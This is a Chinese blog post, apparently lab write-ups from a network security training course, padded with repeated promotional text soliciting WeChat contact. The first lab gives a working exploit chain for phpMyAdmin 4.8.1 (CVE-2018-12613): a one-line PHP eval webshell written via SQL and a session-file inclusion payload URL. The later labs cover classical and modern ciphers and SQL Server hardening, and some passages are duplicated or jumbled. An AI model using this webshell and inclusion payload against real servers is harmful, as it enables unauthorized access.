网络安全综合实训，网络安全studio基础教程

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

根据平台提供的靶机网址访问网站首页（10.0.26.10），首页界面如下图所示。

实验过程

1. 扫描目标站点目录，发现存在“www.zip”文件和phpmyadmin目录

2、下载“www.zip”文件，解压后发现为网址源代码文件。

3、打开config目录下的database.php文件。找到数据库连接的用户名和密码。

4、访问网站的phpmyadmin目录，使用在源代码中找到的数据库用户名和密码进行登录尝试。

5、登录成功后，发现phpmyadmin的版本为4.8.1，这个版本的phpmyadmin存在任意文件包含漏洞（CVE-2018-12613）。参考内容：https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-LFI-Exploit/6、利用CVE-2018-12613进行getshell。在SQL语句执行处执行<?php file\_put\_contents('shell.php','<?php @eval($\_POST[1]);?>');?>，这句话的含义为向shell.php文件中写入一句话木马。

1. 

6、通过浏览器开发者工具—application

7、包含session文件，在phpmyadmin目录下生成webshell文件。Payload如下。http://183.129.189.59:10076/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/var/lib/php/sessions/sess_[此处为步骤7获取到的sessionID]（Cookies）

8、使用蚁剑对webshell进行连接。连接成功后，可通过蚁剑对目标网站的文件、数据库等进行操作。

实验3 经典实例 （一）凯撒加密解密

1**、打开实验项目**

2**、远程连接虚拟机**

**1.**打开运行窗口，快捷键win+r，执行mstsc命令

**2.**连接电脑ip

3**、打开实验中项目**

4、运行

5、进行凯撒加密解密

实验4 经典实例（一）设计型

1**、打开“C++_caesar”文件夹，点击main.cpp。如下图所示。**

2**、运行**

实验5 经典实例（二）

1、在左侧项目中找到“Vigenera”，找到并找到MyVigenera.java文件，如下图所示。

2、点击eclipse的运行按钮，执行MyCaesar.java程序。如下图所示。

3、在控制台输入1执行加密，输入2执行解密。这里我们输入1，并按提示输入需要加密的字符串。输入密钥字符串，密钥长度需小于明文长度。回车后获得密文。如下图所示。

4、再次运行MyVigenera.java程序，这次选择解密输入刚才加密得到的密文，已经与刚才相同的密钥，如下图所示。

实验6 经典实例（二）设计型

1、打开“C++_Vigenera”文件夹，找到“in.txt”，在里面输入待加密的明文。然后点击Vigenera项目文件，在Dev-C++中打开项目。如下图所示。

2、点击Dev-C++的编译运行按钮。按照控制台提示输入参数。如下图所示。应用进程的情况

3、在“C++_Vigenera”文件夹中找到“out.txt”,即为加密后的密文。

4、如果需要解密，在“in.txt”中写入待解密的密文，运行程序后，在“out.txt”中会生成解密后的明文。实验结束。

实验7 经典实例（三）

1、打开桌面上的eclipse。如下图所示

2、在左侧项目中找到SM4->com.hps.test->testmain.java。如下图所示。

3、点击eclipse的运行按钮，执行testmain.java程序。如下图所示。

实验8 经典实例（三）设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_SM4”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示

2、点击Dev-C++的编译运行按钮。如下图所示

实验9 加解密编程（一）

代码

1、在左侧项目中找到“DES”，找到并找到DES.java文件，如下图所示。

2、点击eclipse的运行按钮，执行DES.java程序。如下图所示。

设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_DES”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示。

2、点击Dev-C++的编译运行按钮。如下图所示。

实验10加密解密编程（二）

代码

1、在左侧项目中找到“AES”，找到并找到AES.java文件，如下图所示。

2、点击eclipse的运行按钮，执行AES.java程序。如下图所示。

设计型

1、点击File->Import->fromMSVisualC++project，找到并找到AES.java文件，在弹窗中选择VisualC++project，打开桌面上的“C++_AES”文件夹中的“TestAESCipher.dsp”文件，最后点击“Import”如下图所示。

2、运行

实验11加解密编程（三）

代码

1、在左侧项目中找到“RSA”，找到并找到RSA.java文件，如下图所示

2、点击eclipse的运行按钮，执行RSA.java程序。如下图所示。

设计型

1、打开“C++_RSA”文件夹，打开“C++_rsa.cpp”,点击编译运行按钮。如下图所示

2、点击Dev-C++的编译运行按钮。如下图所示。

实验12 SQL server 安全设置（一）

1、开始->所有程序->Microsoft  SQL  Server  2008  r2->SQL  Server  Management  Studio，打开SQL Server 2008。使用Windows身份验证登录

2、常见的安全加固方式

3、数据库日志的记录

审核数据库登录事件的“失败和成功”，在实例属性中选择“安全性”，将其中的审核级别选定为全部，这样在数据库系统和操作系统日志里面，就详细记录了所有帐号的登录事件。

实验13 SQL server 安全设置（二）

一、开sqlservermanagementstudio使用windows身份验证登录

二、账号策略

1、打开控制面板——>管理工具——>本地安全策略

2、选择账户策略中的账户锁定策略并双击账户锁定阈值

3、输入账户锁定阈值

学习路线：

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

脚本小子变成黑客大神，这个方向越往后，需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容：

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）
[外链图片转存中…(img-B8ydhgGb-1713271294717)]

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！